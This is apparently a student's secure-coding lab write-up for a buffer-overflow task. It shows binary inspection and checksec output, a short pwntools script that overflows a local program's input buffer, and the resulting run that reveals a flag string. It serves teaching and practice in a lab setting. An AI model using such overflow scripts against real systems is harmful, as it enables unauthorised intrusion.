

Colby Crutcher

Secure Coding

Lab 5

1.

- Edianness:

```
ccrutchery@cr432:~/lab5/task1$ file task1
task1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3e18b27168ac0fc6513f34b84d3c682b07cd4a92, for GNU/Linux 3.2.0, with debug_info, not stripped
```

- Checksec:

```
pwndbg> checksec
File:      /home/ccrutcher/lab5/Task1/task1
Arch:      amd64
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No
Debuginfo: Yes
pwndbg> █
```

Code to overflow:

```
from pwn import *

# Start program
io = process('./task1')
#io = remote('10.202.12.82', 11111)

# Send string to overflow buffer
io.sendlineafter(b':', b'AAAAAAAAAAAA\0')

# Receive output
print(io.recvall().decode())
```

2.

```
ccrutter@cybr437:~/lab5/Task1$ python3 exploit.py
[+] Starting local process './task1': pid 131498
[+] Receiving all data: Done (63B)
[*] Process './task1' stopped with exit code 0 (pid 131498)

Revealing the secret message:
EWU{Overflowing_with_Secrets!}
```

Figure 1: Output for overflow Task 1